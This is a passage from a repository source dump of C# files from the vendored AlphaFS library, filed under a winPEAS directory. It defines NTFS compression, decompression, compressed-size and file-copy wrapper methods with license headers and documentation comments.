the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Compresses a file using NTFS compression. /// A path that describes a file to compress. [SecurityCritical] public static void Compress(string path) { Device.ToggleCompressionCore(null, false, path, true, PathFormat.RelativePath); } /// [AlphaFS] Compresses a file using NTFS compression. /// A path that describes a file to compress. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Compress(string path, PathFormat pathFormat) { Device.ToggleCompressionCore(null, false, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.CompressTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Compresses a file using NTFS compression. /// The transaction. /// A path that describes a file to compress. [SecurityCritical] public static void CompressTransacted(KernelTransaction transaction, string path) { Device.ToggleCompressionCore(transaction, false, path, true, PathFormat.RelativePath); } /// [AlphaFS] Compresses a file using NTFS compression. /// The transaction. /// A path that describes a file to compress. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { Device.ToggleCompressionCore(transaction, false, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.Decompress.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Decompresses an NTFS compressed file. /// A path that describes a file to decompress. [SecurityCritical] public static void Decompress(string path) { Device.ToggleCompressionCore(null, false, path, false, PathFormat.RelativePath); } /// [AlphaFS] Decompresses an NTFS compressed file. /// A path that describes a file to decompress. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Decompress(string path, PathFormat pathFormat) { Device.ToggleCompressionCore(null, false, path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.DecompressTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Decompresses an NTFS compressed file. /// The transaction. /// A path that describes a file to decompress. [SecurityCritical] public static void DecompressTransacted(KernelTransaction transaction, string path) { Device.ToggleCompressionCore(transaction, false, path, false, PathFormat.RelativePath); } /// [AlphaFS] Decompresses an NTFS compressed file. /// The transaction. /// A path that describes a file to decompress. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DecompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { Device.ToggleCompressionCore(transaction, false, path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.GetCompressedSize.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Retrieves the actual number of bytes of disk storage used to store a specified file. /// /// If the file is located on a volume that supports compression and the file is compressed, the value obtained is the compressed size /// of the specified file. If the file is located on a volume that supports sparse files and the file is a sparse file, the value /// obtained is the sparse size of the specified file. /// /// The name of the file. /// The actual number of bytes of disk storage used to store the specified file. [SecurityCritical] public static long GetCompressedSize(string path) { return GetCompressedSizeCore(null, path, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the actual number of bytes of disk storage used to store a specified file. /// /// If the file is located on a volume that supports compression and the file is compressed, the value obtained is the compressed size /// of the specified file. If the file is located on a volume that supports sparse files and the file is a sparse file, the value /// obtained is the sparse size of the specified file. /// /// The name of the file. /// Indicates the format of the path parameter(s). /// The actual number of bytes of disk storage used to store the specified file. [SecurityCritical] public static long GetCompressedSize(string path, PathFormat pathFormat) { return GetCompressedSizeCore(null, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.GetCompressedSizeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// /// [AlphaFS] Retrieves the actual number of bytes of disk storage used to store a specified file as part of a transaction. If the file /// is located on a volume that supports compression and the file is compressed, the value obtained is the compressed size of the /// specified file. If the file is located on a volume that supports sparse files and the file is a sparse file, the value obtained is /// the sparse size of the specified file. /// /// The transaction. /// The name of the file. /// The actual number of bytes of disk storage used to store the specified file. [SecurityCritical] public static long GetCompressedSizeTransacted(KernelTransaction transaction, string path) { return GetCompressedSizeCore(transaction, path, PathFormat.RelativePath); } /// /// [AlphaFS] Retrieves the actual number of bytes of disk storage used to store a specified file as part of a transaction. If the file /// is located on a volume that supports compression and the file is compressed, the value obtained is the compressed size of the /// specified file. If the file is located on a volume that supports sparse files and the file is a sparse file, the value obtained is /// the sparse size of the specified file. /// /// The transaction. /// The name of the file. /// Indicates the format of the path parameter(s). /// The actual number of bytes of disk storage used to store the specified file. [SecurityCritical] public static long GetCompressedSizeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetCompressedSizeCore(transaction, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.Copy.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region Obsolete /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// true if the destination file should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// true if the destination file should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// true if original Timestamps must be preserved; otherwise, false. [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// true if original Timestamps must be preserved; otherwise, false. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// true if original Timestamps must be preserved; otherwise, false. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// true if original Timestamps must be preserved; otherwise, false. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } #endregion // Obsolete #region .NET /// Copies an existing file to a new file. Overwriting a file of the same name is not allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory or an existing file. [SecurityCritical] public static void Copy(string sourcePath, string destinationPath) { CopyMoveCore(false, new CopyMoveArguments { CopyOptions = CopyOptions.FailIfExists }, false, false, sourcePath, destinationPath, null); } /// Copies an existing file to a new file. Overwriting a file of the same name is allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// true if the destination file should ignoring the read-only and hidden attributes and overwrite; otherwise, false. [SecurityCritical] public static void Copy(string sourcePath, string destinationPath, bool overwrite) { CopyMoveCore(false, new CopyMoveArguments { CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists }, false, false, sourcePath, destinationPath, null); } #endregion // .NET /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = CopyOptions.FailIfExists, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is /// allowed. /// /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this /// method. /// If two files have equivalent short file names then this method may fail and raise an /// exception and/or result in undesirable behavior. /// /// . /// . /// . /// . /// . /// . /// . /// The file to copy. /// The name of the destination file. This cannot be a directory. /// true if the destination file should ignoring the read-only and /// hidden attributes and overwrite; otherwise, false. /// Indicates the format of the path parameter(s). /// /// Returns a class with details of the Copy action. /// [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, PathFormat pathFormat) { return CopyMoveCore(true, new CopyMoveArguments { CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory or an existing file. /// The number of retries on failed copies. /// The wait time in seconds between retries. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, int retry, int retryTimeout) { return CopyMoveCore(true, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, CopyOptions = CopyOptions.FailIfExists }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, int retry, int retryTimeout, PathFormat pathFormat) { return CopyMoveCore(true, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, CopyOptions = CopyOptions.FailIfExists, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function. /// Returns a class with details of the Copy action. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function. /// Returns a class with details of the Copy action. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function. /// Returns a class with details of the Copy action. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function. /// Returns a class with details of the Copy action. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = copyOptions }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = copyOptions, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout) { return CopyMoveCore(true, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, CopyOptions = copyOptions }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, PathFormat pathFormat) { return CopyMoveCore(true, new CopyMoveArguments { Retry = retry, 